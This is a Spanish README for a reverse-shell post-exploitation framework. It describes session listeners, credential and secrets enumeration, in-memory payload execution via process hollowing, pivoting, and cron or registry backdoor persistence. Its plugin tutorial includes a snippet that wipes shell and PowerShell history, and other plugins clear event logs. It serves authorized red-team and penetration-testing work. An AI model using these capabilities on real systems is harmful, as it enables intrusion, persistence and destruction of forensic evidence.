Framework modular de post-explotación que gestiona sesiones de reverse-shell sobre TCP/TLS/mTLS con plugins para enumeración, ejecución en memoria, pivoting SOCKS5 y persistencia.
Un framework de post-explotación ligero y modular para investigación de seguridad autorizada, operaciones de red-team y pruebas de penetración. TornadoRevC2 gestiona sesiones de reverse shell en hosts Linux y Windows a través de una consola de operador unificada, extendiendo el manejo central de sesiones con una arquitectura de plugins multiplataforma para enumeración de hosts, conocimiento situacional y tareas operativas.
Importante: TornadoRevC2 es un manejador de sesiones y un framework de post-explotación, no una plataforma de command-and-control estilo beacon. Prioriza shells interactivos fiables, flujos de trabajo estructurados para el operador y ejecución de plugins bajo demanda por encima de la infraestructura de agentes persistentes.
Utilice este software únicamente en sistemas de su propiedad o en sistemas para los que cuente con autorización escrita explícita. Usted es el único responsable del cumplimiento de las leyes aplicables y las políticas organizacionales. Los autores y colaboradores no aceptan ninguna responsabilidad por uso indebido, pérdida de datos o consecuencias legales derivadas del uso de este proyecto.
Demo rápida: gestión de sesiones, ejecución de plugins, pivoting SOCKS5.
TornadoRevC2 es un framework modular de gestión de reverse shells que acepta conexiones entrantes sobre TCP plano, TLS con autenticación de servidor y TLS mutuo (mTLS) con verificación de certificado de cliente, proporcionando una consola de operador unificada para gestión de sesiones, reconocimiento de hosts, transferencia de archivos por chunks, ejecución de payloads en memoria, pivoting SOCKS5, post-explotación basada en plugins, informes estructurados y un comando update integrado para actualizaciones automáticas basadas en Git y reinicios fluidos del handler. Originalmente desarrollado como un manejador de reverse shell ligero, el proyecto ha evolucionado hacia un framework extensible en el que capacidades como la enumeración de firewalls, la recolección de metadatos de almacenes de credenciales, el mapeo de red, la elaboración de perfiles de navegadores y funcionalidad adicional de post-explotación se implementan como plugins independientes y modulares. El framework también incluye el plugin make_token para establecer nuevas sesiones de C2 mediante protocolos remotos (SSH, WinRM, SMB, RDP, WMI, MSSQL) utilizando herramientas de línea de comandos desde el lado del operador, con soporte para puertos personalizados, autenticación mediante hash NTLM e integración con netexec, y un plugin upgrade_mtls que migra una sesión activa al listener de TLS mutuo enviando el paquete de certificado de cliente del handler al objetivo.
Plataformas objetivo soportadas: Linux y Windows (principales), con compatibilidad para entornos Unix y BSD genéricos donde sea aplicable.
| Categoría | Capacidades |
|---|---|
| Gestión de sesiones | Listeners TCP / TLS / mTLS multicliente con arranque automático de PKI · Actualización mTLS bajo demanda para sesiones activas · Shells PTY/TTY interactivos · Fingerprinting de sesiones y seguimiento de reconexiones |
| Transferencia de archivos | Carga y descarga por chunks · Verificación de integridad SHA-256 |
| Ejecución de payloads | Ejecución en memoria para py, ps, exe, elf, bat y sh |
| Pivoting y tunneling | Proxy SOCKS5 a través de sesiones comprometidas con limpieza remota automática · Despliegue de agentes Ligolo-NG y Chisel con persistencia en segundo plano |
| Establecimiento de sesiones remotas | make_token — establece nuevas sesiones sobre SSH, WinRM, SMB, RDP, WMI y MSSQL desde el lado del operador, con autenticación por hash NTLM e integración con netexec |
| Suplantación | runas — ejecuta comandos o lanza un shell cifrado con TLS como otro usuario, local o remoto, con soporte de dominio e integración con netexec |
| Enumeración | Abarcando triaje de host, postura de red, credenciales y metadatos de navegadores, tickets Kerberos, internals de Linux, y configuración de dominio y sistema de Windows |
| Plugins operativos | Borrado seguro de archivos multipasada · Cifrado híbrido de archivos · Limpieza del historial de shell · Limpieza de registros de eventos de Windows |
| Persistencia | Instalación de backdoor multiplataforma usando payloads cifrados con TLS — cron @reboot en Linux/Unix, registro Run en Windows |
| Extensibilidad | Carga, recarga y descarga de plugins en tiempo de ejecución · Plugins externos mediante TORNADOREVC2_PLUGIN_DIR · API SessionContext documentada |
| Informes | Registro por sesión · Salida estructurada de plugins · Exportación de transcripciones HTML |
| Autoactualización | Comando update basado en Git con verificación de repositorio, pull fast-forward y reinicio automático del handler · Compatible con forks, con detección de divergencias y un prompt de reset seguro |
No soportado: Programación de tareas, o infraestructura de callback estilo beacon.
TornadoRevC2 está diseñado para entornos donde la fricción de despliegue y la huella operativa importan.
Los plugins aprovechan utilidades nativas de Windows y Linux y comandos de sistema integrados ya presentes en el host objetivo—netsh, ss, iptables, ufw, firewall-cmd, nft, cmdlets de PowerShell, nmcli, wevtutil, y otros. Los colectores invocan estas herramientas a través del canal de reverse shell y analizan la salida de forma remota, minimizando la necesidad de subir binarios adicionales o instalar dependencias.
Las operaciones de los plugins se ejecutan a través del canal de reverse shell existente y no requieren dejar caer binarios, ejecutables, scripts o archivos temporales en el sistema objetivo. Las tareas de enumeración se ejecutan como comandos nativos o scripts colectores en proceso; los resultados regresan como JSON marcado a través del shell. El único artefacto inevitable es el historial de comandos normal generado por el propio shell.
Cuando una rutina de enumeración falla, no está disponible o expira, el plugin no aborta por completo. La sección afectada se deja vacía o se marca como N/A mientras el resto del informe continúa.
Las actualizaciones del handler se entregan a través de Git en la máquina del operador. El comando update utiliza tiempos de espera acotados en subprocesos, configuraciones de Git no interactivas y una ruta de apagado local rápida para que el handler pueda reiniciarse de forma fiable sin bloquearse en la limpieza de sesiones remotas.
┌─────────────────────────────────────────────────────────────────┐ │ Operator Console (handler) │ │ Sessions · Transfers · SOCKS · Plugins · Logging · Export · │ │ update │ └────────────────────────────┬────────────────────────────────────┘ │ reverse shell channel (TCP / TLS / mTLS) ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Target Host │ │ Native commands · PowerShell · inline collectors │ │ T_PLUGIN_START + JSON + T_PLUGIN_END │ └─────────────────────────────────────────────────────────────────┘
### Configuración de Listeners
TornadoRevC2 ejecuta **tres listeners independientes simultáneamente**, para que los implants puedan conectarse mediante texto plano, TLS con autenticación de servidor o TLS con autenticación mutua, según el modelo de amenaza del engagement:
| Listener | Puerto por defecto | Flag | Autenticación | Certificados |
|----------|--------------|------|----------------|--------------|
| TCP | `4444` | `-p` | Ninguna | Ninguno |
| TLS | `8443` | `-tp` | Autenticación de servidor | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | `-mp` | Mutua (se requiere certificado de cliente) | bundle `mtls_certs/` (CA + servidor + cliente) |
El flag `-H` establece la dirección de bind compartida por los tres listeners. Los tres pueden habilitarse a la vez; actualmente no es necesario deshabilitar ninguno — deja el puerto libre o sin bind para ignorarlo.
**Generación automática de certificados.** En el primer lanzamiento, el handler crea dos directorios aislados y genera el material que necesita:```text
tls_certs/
server.pem # self-signed server certificate
server.key # server private key
mtls_certs/
ca.pem # mTLS certificate authority (self-signed, 4096-bit RSA)
ca.key # CA private key
ca.srl # OpenSSL serial counter (auto-generated)
server-mtls.pem # server cert signed by CA
server-mtls.key # server private key
client.pem # client cert signed by CA — ship to implant
client.key # client private key — ship to implant
tornadorevc2/plugins/ shared/ Cross-platform plugins with internal Windows/Linux implementations linux/ Linux/Unix-only plugins and collector builders windows/ Windows-only plugins (rdp, services, eventlogdel, …) api.py SessionContext and @plugin.command registration manager.py Runtime loading, execution, and platform filtering loader.py Automatic module discovery
**Plugins compartidos** (`firewall`, `ports`, `browser`, `credstore`, y otros) existen como módulos unificados únicos en `shared/`. **Los plugins específicos de plataforma** como `rdp` y `eventlogdel` residen exclusivamente bajo `windows/` o `linux/` y no se duplican en `shared/`.
Los recolectores emiten JSON envuelto en tokens marcadores (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`). El ejecutor compartido analiza esta salida, formatea un informe orientado al operador y persiste los resultados en el directorio de registro de sesión.
---
## Requisitos e Instalación
**Handler (máquina del operador):**
- Python 3.7 o posterior
- OpenSSL (para la generación automática de certificados TLS y mTLS)
- Git (opcional; requerido para el comando de operador `update`)
- No se requieren paquetes Python de terceros```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py
python tornadorevc2.py
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 -mp 9443
python tornadorevc2.py
-c tls_certs/server.pem -k tls_certs/server.key
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
### 2. Establecer una sesión
Despliega un reverse shell desde el catálogo integrado (`payloads`) o usa tu propio implante. Al conectarse, TornadoRevC2 asigna un ID de sesión y comienza a registrar en `logs/`.
### 3. Operar```bash
status # List active sessions
switch 1 # Attach to session 1
sysinfo 1 # Collect host metadata
run credstore 1 # Credential store metadata
run memorymap 1 1234 # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh # In-memory script execution
update # Pull latest from GitHub and restart (Git installs)
Cuando se adjunta mediante switch <ID>, omita el ID de sesión en los comandos posteriores (run quickenum en lugar de run quickenum 1). Los listados de plugins y la finalización con TAB dentro de una sesión de cliente se filtran a los plugins compatibles con la plataforma de esa sesión.
El comando update está disponible únicamente desde el prompt del manejador principal. Verifica que Git esté instalado, confirma que la instalación es un árbol de trabajo de Git, obtiene datos del remoto configurado, realiza un pull fast-forward cuando existen actualizaciones y reinicia el manejador con el mismo ejecutable y argumentos. Si la instalación ya está actualizada, imprime TornadoRevC2 is already running the latest version. y deja el servidor en ejecución.
| Comando | Descripción |
|---|---|
status / ls | Lista las sesiones de reverse shell activas |
sessions | Muestra las sesiones rastreadas, incluidos los hosts desconectados |
reconnects | Muestra el historial de reconexión de sesiones |
switch <ID> | Se adjunta a un shell de sesión interactivo |
kill <ID> | Termina una sesión |
rename <ID> <name> / rn <ID> <name> | Asigna un nombre descriptivo |
sysinfo <ID> [--stealth|--full] | Recopila o actualiza la información del host |
export <ID> | Exporta una transcripción HTML de la sesión |
| Comando | Descripción |
|---|---|
plugins / plugins list | Lista los plugins registrados |
plugins list --verbose | Muestra las rutas de los módulos y el estado de carga |
plugins load <name> | Carga un plugin externo en tiempo de ejecución |
plugins unload <name> | Deshabilita o descarga un plugin |
plugins reload <name> | Recarga un módulo de plugin |
plugins info <name> | Muestra los metadatos del plugin |
run <plugin> <ID> [args...] | Ejecuta un plugin contra una sesión |
| Comando | Descripción |
|---|---|
upload [--resume] <ID> <local> <remote> | Sube con transferencia por fragmentos |
download [--resume] <ID> <remote> <local> | Descarga con transferencia por fragmentos |
verify <ID> <remote> / hash <ID> <remote> | Verifica el tamaño y el SHA-256 del archivo remoto |
| Comando | Descripción |
|---|---|
run inmemory <ID> <type> <local_file> [-- args] [--save-output <file>] | Ejecuta el payload en memoria |
Tipos admitidos: py, ps, exe, elf, bat, sh
| Comando | Forma dentro de la sesión | Descripción |
|---|---|---|
socks <ID> <listen_port> | socks <listen_port> | Inicia un proxy SOCKS5 a través de una sesión (listener local en 127.0.0.1:<listen_port>) |
socks <ID> test <host> <port> | socks test <host> <port> | Prueba la alcanzabilidad TCP hacia un host interno a través del agente de túnel |
socks <ID> reset | socks reset | Restablece los flujos del agente de túnel y descarta los datos en búfer (no detiene los listeners SOCKS activos) |
socks stop <proxy_id> | socks stop <proxy_id> | Detiene un proxy SOCKS y limpia los artefactos del túnel remoto cuando ningún otro proxy usa la sesión |
tunnels | tunnels | Lista los proxies SOCKS activos, el recuento de canales y el estado |
| Comando | Descripción |
|---|---|
payloads | Muestra la referencia de payloads integrados |
update | Busca actualizaciones en el repositorio oficial de GitHub y reinicia tras un pull fast-forward exitoso (requiere Git; solo en el menú principal) |
help | Muestra la referencia de comandos |
exit / quit | Apaga el manejador |
TornadoRevC2 incluye 51 plugins integrados organizados por función. Todos los plugins relacionados con la enumeración son de solo lectura, salvo que se indique lo contrario.
| Plugin | Plataforma | Descripción |
|---|---|---|
quickenum | Multiplataforma | Triaje rápido y estructurado del host: identidad, red, entorno, hallazgos priorizados |
virtualization | Multiplataforma | Detección de virtualización, contenedores, orquestación y entorno de nube |
kernel | Multiplataforma | Versión del kernel, módulos/drivers cargados, mitigaciones de seguridad y configuración del kernel |
integrity | Multiplataforma | Secure Boot, BitLocker/LUKS, aplicación de firma de código, bloqueo del kernel y protecciones de integridad |
filesearch | Multiplataforma | Busca archivos por ruta, nombre, extensión, tamaño, propietario, mtime (run filesearch help para ver las opciones) |
packages | Multiplataforma | Software instalado, gestores de paquetes, configuración de repositorios e instalaciones recientes |
sysinfo | Multiplataforma | Recopilación de metadatos del host (comando del manejador, no un plugin) |
kerberosenum | Multiplataforma | Metadatos de tickets Kerberos: cachés, principal predeterminado, realm, TGT, tickets de servicio, tipos de cifrado, flags (renewable/forwardable), archivos keytab, configuración krb5.conf/registro y variables de entorno (sin secretos) |
| Plugin | Plataforma | Descripción |
|---|---|---|
firewall | Multiplataforma | Estado del firewall, perfiles/zonas, políticas y reglas destacadas (WDF, UFW, firewalld, nftables, iptables) |
ports | Multiplataforma | Puertos a la escucha, conexiones establecidas, procesos propietarios y enrutamiento |
proxy | Multiplataforma | Configuración de proxy del sistema, del entorno, PAC/WPAD y del navegador |
vpn | Multiplataforma | Clientes VPN, conexiones activas, adaptadores y metadatos de configuración |
| Plugin | Plataforma | Descripción |
|---|---|---|
credstore | Multiplataforma | Metadatos del almacén de credenciales (sin extracción de secretos): Credential Manager, keyrings, almacenes del navegador |
browser | Multiplataforma | Navegadores instalados, perfiles, extensiones, marcadores y políticas empresariales |
clipboard | Multiplataforma | Captura del texto del portapapeles remoto |
secrets | Linux/Unix | Archivos de configuración, variables de entorno, claves SSH y credenciales de nube |
| Plugin | Plataforma | Descripción |
|---|---|---|
history | Multiplataforma | Historial del shell, registros de paquetes/actualizaciones y actividad de inicio de sesión reciente |
mounts | Multiplataforma | Puntos de montaje, recursos compartidos SMB/NFS, unidades mapeadas, sistemas de archivos de contenedores |
memorymap | Multiplataforma | Mapas de memoria de procesos y módulos cargados para un PID especificado |
screenshot | Multiplataforma | Captura de escritorio devuelta al operador (sesiones GUI; PNG guardado localmente) |
cron | Linux/Unix | Tareas cron, crontabs del sistema, crontabs de usuario y colas at |
systemd | Linux/Unix | Servicios, timers, unidades fallidas y unidades de inicio habilitadas |
privbins | Linux/Unix | Binarios SUID/SGID, capacidades de archivos y ejecutables relevantes para la escalada de privilegios |
lsm | Linux/Unix | SELinux, AppArmor y otros Linux Security Modules: modo de aplicación, políticas y configuración |
journal | Linux/Unix | Resúmenes estructurados de journalctl: autenticación, kernel, fallos de servicios y eventos recientes |
sshaudit | Linux/Unix | Enumeración del servidor SSH: configuración efectiva de sshd, superficie de autenticación, opciones de pivoting, claves de host, authorized_keys y confianza de CA |
containers | Linux/Unix | Runtimes y cargas de trabajo de contenedores: Docker, Podman, containerd, CRI-O, LXC/LXD e indicadores de Kubernetes |
usersessions | Multiplataforma | Sesiones locales, remotas, SSH, RDP, de consola y de servicio activas con metadatos de inicio de sesión/origen |
| Plugin | Plataforma | Descripción |
|---|---|---|
adinfo | Windows | Pertenencia al dominio, controladores de dominio, bosques, relaciones de confianza y OUs |
services | Windows | Servicios de Windows, tipos de inicio, binarios y cuentas de servicio |
scheduledtasks | Windows | Tareas programadas, desencadenadores, contexto de ejecución y acciones |
registry | Windows | Claves de autorun, ubicaciones de inicio y software instalado |
eventlogs | Windows | Resúmenes de los registros Security, System, Application y PowerShell |
defender | Windows | Estado de Microsoft Defender, exclusiones, reglas ASR y AV de terceros |
certificates | Windows | Almacenes de certificados, firma de código y certificados empresariales |
rdp | Windows | Configuración de Remote Desktop, estado, destinos recientes y ajustes |
gpo | Windows | GPOs aplicadas, políticas de seguridad locales/de dominio, AppLocker, WDAC, SRP y scripts de GPO |
winrm | Windows | Configuración de WinRM, listeners, métodos de autenticación, integración con el firewall y estado de remoting |
drivers | Windows | Drivers y módulos del kernel instalados, estado firmado/no firmado, tipo de inicio y drivers destacados de seguridad/VM |
powershell | Windows | Versión de PowerShell, política de ejecución, registro, módulos, ajustes de remoting y rutas de perfil |
lsa | Windows | Protección LSA, Credential Guard, seguridad basada en virtualización y configuración de seguridad de credenciales |
| Plugin | Plataforma | Descripción |
|---|---|---|
inmemory | Multiplataforma | Ejecución de payloads en memoria (py, ps, exe, elf, bat, sh) |
make_token | Multiplataforma | Establece sesiones C2 mediante protocolos remotos (SSH, WinRM, SMB, RDP, WMI, MSSQL) usando herramientas CLI desde el lado del operador con soporte para puertos personalizados, hashes NTLM e integración con netexec |
nullcrypt | Multiplataforma | Cifra un archivo de forma híbrida (AES-GCM + clave envuelta con RSA) y luego borra de forma segura el original mediante wiper |
wiper | Multiplataforma | Sobrescritura segura multipaso configurable (renombrar, truncar, eliminar); perfiles: quick, standard, dod, thorough, shred |
historydel | Multiplataforma | Borra los archivos de historial del shell del usuario actual y el almacenamiento relacionado |
eventlogdel | Windows | Borra los registros de eventos de Windows mediante wevtutil / Clear-EventLog nativos |
runas | Windows | Ejecuta comandos o lanza un reverse shell cifrado con TLS como otro usuario (local/remoto) con gestión de credenciales, soporte de dominio e integración con netexec |
ligolong | Multiplataforma | Despliega el agente de tunneling Ligolo‑NG en objetivos Linux/Windows con persistencia en segundo plano |
chisel | Multiplataforma | Despliega el agente de tunneling Chisel en modo reverse (cliente) o bind (servidor); admite SOCKS5 y persistencia en segundo plano |
persistence | Multiplataforma | Instala una puerta trasera de reverse shell persistente (cron @reboot / registro Run) usando un payload cifrado con TLS |
upgrade_mtls | Multiplataforma | Envía el paquete de cliente mTLS del manejador a una sesión y la relanza a través del listener mTLS (opcional; no afecta a otros listeners) |
Métodos de ejecución en memoria:
| Tipo | Método |
|---|---|
py | Python mediante exec(compile(...)) |
ps | PowerShell mediante Invoke-Expression |
exe | PE de Windows mediante RunPE en memoria (process hollowing) |
elf | ELF de Linux mediante memfd_create con fallback a /dev/shm |
sh | Script de shell transmitido mediante bash -s |
bat | Script por lotes transmitido mediante stdin de cmd.exe /Q |
Scripts de PEASS-ng para privesccheck en memoria: github.com/carlospolop/PEASS-ng
Esta sección describe cómo extender TornadoRevC2 con plugins personalizados. Los plugins son módulos Python simples que registran comandos con @plugin.command y reciben un SessionContext para la sesión objetivo. No se requieren cambios en el código del manejador principal.
El sistema de plugins tiene cuatro capas:
| Capa | Módulo | Responsabilidad |
|---|---|---|
| Registro | plugins/api.py | Decorador @plugin.command, registro global de comandos, SessionContext |
| Descubrimiento | plugins/loader.py | Escanea shared/, linux/, windows/ y directorios externos; importa módulos |
| Ejecución | plugins/manager.py | Resuelve la plataforma, construye el contexto, invoca el handler, gestiona errores |
| Recolectores | plugins/shared/runner.py | Análisis de marcadores, extracción de JSON, formateo de informes, registro |
En tiempo de importación, el decorador @plugin.command registra cada handler en un registro global thread-safe. En tiempo de ejecución, PluginManager.run_plugin() valida la compatibilidad de plataforma, construye un SessionContext y llama al handler con (session, args).
Los handlers devuelven un código de salida entero: 0 para éxito, distinto de cero para fallo. La consola del handler muestra advertencias para valores de retorno distintos de cero.
Elija una ubicación según el alcance de la plataforma y si el plugin se distribuye con el proyecto:
| Ubicación | Alcance | Cargado |
|---|---|---|
tornadorevc2/plugins/shared/ | Multiplataforma (implementaciones internas de Windows + Linux) | Automáticamente al inicio |
tornadorevc2/plugins/linux/ | Solo Linux/Unix | Automáticamente al inicio |
tornadorevc2/plugins/windows/ | Solo Windows | Automáticamente al inicio |
./plugins/myplugin.py | Externo (cualquier alcance que defina) | Bajo demanda mediante plugins load |
./plugins/myplugin/__init__.py | Paquete externo | Bajo demanda mediante plugins load |
Ruta en TORNADOREVC2_PLUGIN_DIR | Externo (directorio personalizado) | Bajo demanda mediante plugins load |
Reglas de estructura:
common.py, runner.py y __init__.py bajo shared/ se omiten durante el descubrimiento._ bajo linux/ o windows/ son módulos auxiliares, no plugins.shared/ con ramificación interna por plataforma; no duplique plugins multiplataforma tanto en shared/ como en linux//windows/.rdp, eventlogdel) pertenecen exclusivamente a windows/ o linux/.Registre un comando con el decorador @plugin.command:```python
from tornadorevc2.plugins import plugin, SessionContext
@plugin.command(
name="myplugin", # Command name used with run myplugin <ID>
platforms=["linux", "windows", "unix"], # Supported session platforms
description="Short description for plugins list and TAB completion",
)
def run(session: SessionContext, args):
...
return 0 # 0 = success, non-zero = failure
**Valores de plataforma:** `linux`, `windows`, `unix`. Linux y `unix` se tratan como compatibles— un plugin registrado para `linux` se ejecuta en ambos. Valor predeterminado si se omite: `["linux", "windows", "unix"]`.
**Múltiples comandos por módulo:** Un solo archivo puede registrar varios comandos aplicando `@plugin.command` a múltiples funciones. Cada uno obtiene un nombre independiente.
### Ciclo de vida de ejecución
Cuando un operador ejecuta `run myplugin 1 arg1 arg2`:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)
Dentro de una sesión adjunta (switch <ID>), se omite el ID de sesión y los argumentos comienzan inmediatamente después del nombre del plugin: run myplugin arg1 arg2.
Úsalo cuando necesites un comando puntual rápido sin análisis JSON estructurado. El handler ejecuta un comando de shell nativo, imprime la salida y registra el resultado.```python from tornadorevc2.plugins import plugin, SessionContext
@plugin.command( name="whoami", platforms=["linux", "windows", "unix"], description="Print remote user identity", ) def run(session: SessionContext, args): session.log_event("Plugin whoami: started")
if session.is_windows:
cmd = "whoami /all"
else:
cmd = "id 2>/dev/null || whoami"
output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
session.print("Plugin 'whoami' failed — no output from target.", "red")
session.log_plugin_result("whoami", "", "no output")
return 1
report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0
**Cuándo usar:** Sondas simples, enumeración en una línea, comandos que no necesitan informes estructurados.
**Métodos clave:** `session.run_shell(cmd, timeout)`, `session.print(text, color)`, `session.log_plugin_result(name, report, detail='')`.
### Patrón 2: Colector estructurado (recomendado)
Úsalo para plugins de enumeración que recopilan datos estructurados en el objetivo y devuelven un informe formateado. Este es el patrón utilizado por todos los plugins de reconocimiento integrados (`firewall`, `ports`, `browser`, etc.).
**Flujo:**```text
Handler Target host
│ │
├─ session.log_event("started") │
├─ flush shell buffer │
├─ resolve platform (unix/windows) │
├─ build collector command/script ─────►│ Linux: inline Python or native shell
│ │ Windows: PowerShell script in-process
│ ├─ invoke native OS commands
│ ├─ assemble result dict
│ └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
│◄──────────────────────────────────────┤
├─ parse_collector_json(raw) │
├─ formatter(data) → report string │
├─ session.print(report) │
└─ session.log_plugin_result(...) │
Ejemplo mínimo multiplataforma:```python from tornadorevc2.plugins import plugin, SessionContext from tornadorevc2.plugins.linux._helpers import build_linux_collector_command from tornadorevc2.plugins.shared.common import format_generic_report from tornadorevc2.plugins.shared.runner import run_collector_plugin from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _linux_collector_source(): # Runs inside a try/except wrapper on the target. # Call _emit(result) with a JSON-serializable dict — do NOT print markers yourself. return r''' import subprocess result = {'summary': {}, 'processes': []} try: out = subprocess.check_output(['ps', 'auxww'], stderr=subprocess.STDOUT, timeout=10) lines = out.decode('utf-8', errors='replace').splitlines() result['summary'] = {'count': max(0, len(lines) - 1)} result['processes'] = lines[1:51] except Exception as exc: result['summary'] = {'error': str(exc)} _emit(result) '''
def _build_linux_command(): return build_linux_collector_command(_linux_collector_source())
def _build_windows_command(): return rf""" $ErrorActionPreference='SilentlyContinue' $start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}' $procs = Get-CimInstance Win32_Process -EA 0 | Select-Object -First 50 ProcessId, Name, CommandLine $result = [ordered]@{{ summary = @{{ count = @($procs).Count }} processes = @($procs) }} Write-Output ($start + (ConvertTo-Json $result -Depth 4 -Compress) + $end) """
@plugin.command( name="processes", platforms=["linux", "windows", "unix"], description="List running processes on the remote host", ) def run(session: SessionContext, args): return run_collector_plugin( session, "processes", _build_linux_command, # callable — built at execution time _build_windows_command, # callable — built at execution time format_generic_report, # turns parsed dict into operator-facing text timeout=25.0, # seconds to wait for marked output )
**Parámetros de `run_collector_plugin`:**
| Parámetro | Tipo | Descripción |
|-----------|------|-------------|
| `session` | `SessionContext` | Sesión objetivo |
| `plugin_name` | `str` | Nombre utilizado en los logs y mensajes de error |
| `unix_builder` | `Callable[[], str]` o `None` | Devuelve el comando de shell de Unix/Linux; `None` si no está disponible |
| `win_builder` | `Callable[[], str]` o `None` | Devuelve el script de PowerShell; `None` si no está disponible |
| `formatter` | `Callable[[dict], str]` | Convierte el dict JSON analizado en una cadena de informe |
| `timeout` | `float` | Segundos máximos de espera para la salida marcada (por defecto 30) |
Pase `None` para un builder de plataforma para marcar el plugin como no disponible en ese SO (consulte [Platform-specific plugins](#platform-specific-plugins)).
Después de guardar un plugin externo:```bash
plugins load processes
plugins info processes
run processes 1
Úselo cuando necesite validación de argumentos, construcción dinámica de colectores, procesamiento posterior al colector o manejo de archivos del lado del operador que run_collector_plugin no cubre por sí solo.
Ejemplos en el código base:
| Plugin | Comportamiento personalizado |
|---|---|
memorymap | Requiere argumento PID; construye el colector dinámicamente con el PID incrustado |
wiper | Requiere ruta remota; acción destructiva con salida de confirmación |
screenshot | Decodifica imagen base64 y guarda PNG localmente en la máquina del operador |
historydel | Ejecuta el colector, luego envía un comando de shell de seguimiento para la limpieza del historial en memoria |
clipboard | Manejo personalizado de fallo suave mediante el campo reason en lugar de error duro |
Ejemplo de validación de argumentos (de memorymap):```python
import re
from tornadorevc2.plugins import plugin, SessionContext
from tornadorevc2.plugins.shared.runner import _run_collector_marked, parse_collector_json
@plugin.command( name="memorymap", platforms=["linux", "windows", "unix"], description="Enumerate memory maps for a process (requires PID)", ) def run(session: SessionContext, args): if not args or not re.match(r"^\d+$", args[0].strip()): session.print("Usage: run memorymap ", "yellow") return 1
pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)
unix_cmd = _build_linux_command(pid) # builder accepts runtime args
win_ps = _build_windows_command(pid)
raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
session.print("Plugin 'memorymap' failed — no response from target.", "red")
return 1
data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0
**Ejemplo de procesamiento posterior a la recolección** (de `historydel`):```python
def run(session: SessionContext, args):
# ... run collector via _run_collector_marked ...
data = parse_collector_json(raw)
# Additional in-memory cleanup in the interactive shell
if session.is_unix:
session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
elif session.is_windows:
session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)
report = format_historydel_report(data)
session.print(report, "green" if data.get("cleared") else "yellow")
return 0
Para acceso directo a la ejecución marcada sin el contenedor completo del colector, use _run_collector_marked y parse_collector_json desde plugins/shared/runner.py.
Los colectores de Linux son cadenas de código fuente Python que se ejecutan en el objetivo mediante build_linux_collector_command().
Estructura:
_linux_collector_source() devolviendo una cadena sin procesar (r'''...''').result._emit(result) al final — nunca imprima marcadores manualmente._build_linux_command() → build_linux_collector_command(source).El contenedor en linux/_helpers.py automáticamente:
try/except_emit(obj) para escribir __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__{"error": "...", "traceback": "..."} en excepciones no controladaspython3 -c (o python2 como alternativa)/tmp solo cuando la carga útil codificada supera los ~4000 bytesPrefiera comandos nativos:```python def sh(cmd, timeout=5): try: out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=timeout) return out.decode("utf-8", "ignore") except Exception: return ""
result = {"summary": {}, "ports": []} output = sh("ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null", 10) for line in output.splitlines()[:60]: result["ports"].append(line.strip()) _emit(result)
**Directrices:**
- Use `subprocess.check_output(..., timeout=N)` para cada comando externo.
- Recorte las listas grandes antes de emitirlas (límite de 50–80 entradas).
- Maneje la ausencia de herramientas de forma controlada—deje las secciones vacías en lugar de generar una excepción.
- Evite incrustar cadenas marcadoras en la salida; el plugin `history` elimina `__T_PLUGIN_*__` del texto recopilado por esta razón.
- Mantenga los recolectores compactos para permanecer por debajo del límite de tamaño en línea y evitar el almacenamiento temporal en `/tmp`.
### Recolectores de Windows
Los recolectores de Windows son cadenas de script de PowerShell devueltas por `_build_windows_command()`.
**Estructura:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _build_windows_command():
return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
summary = @{{ count = 0 }}
items = @()
}}
try {{
Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
$result.items += @{{ name = $_.Name; state = $_.State }}
}}
$result.summary.count = $result.items.Count
}} catch {{
$result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""
Directrices:
$ErrorActionPreference='SilentlyContinue' al principio.-EA 0 (ErrorAction SilentlyContinue) en los cmdlets que puedan fallar en sistemas más antiguos.{{ y }} para las tablas hash y los bloques de script de PowerShell.[ordered]@{{...}} para preservar el orden de las claves en la salida JSON.Get-NetTCPConnection, Get-Process, netsh, wevtutil) en lugar de herramientas externas.try/catch para que un fallo no aborte todo el recolector.win_client.py para una captura de salida fiable.Alternativa: Para plugins exclusivos de Windows con puntos de entrada mínimos, utilice una única función build_command():```python
@plugin.command(name="services", platforms=["windows"], description="...") def run(session: SessionContext, args): return run_collector_plugin(session, "services", None, build_command, format_generic_report, timeout=35.0)
### Convenciones de payload JSON
Los recolectores deben devolver un dict serializable en JSON. El runner y los formateadores esperan un uso consistente de las claves:
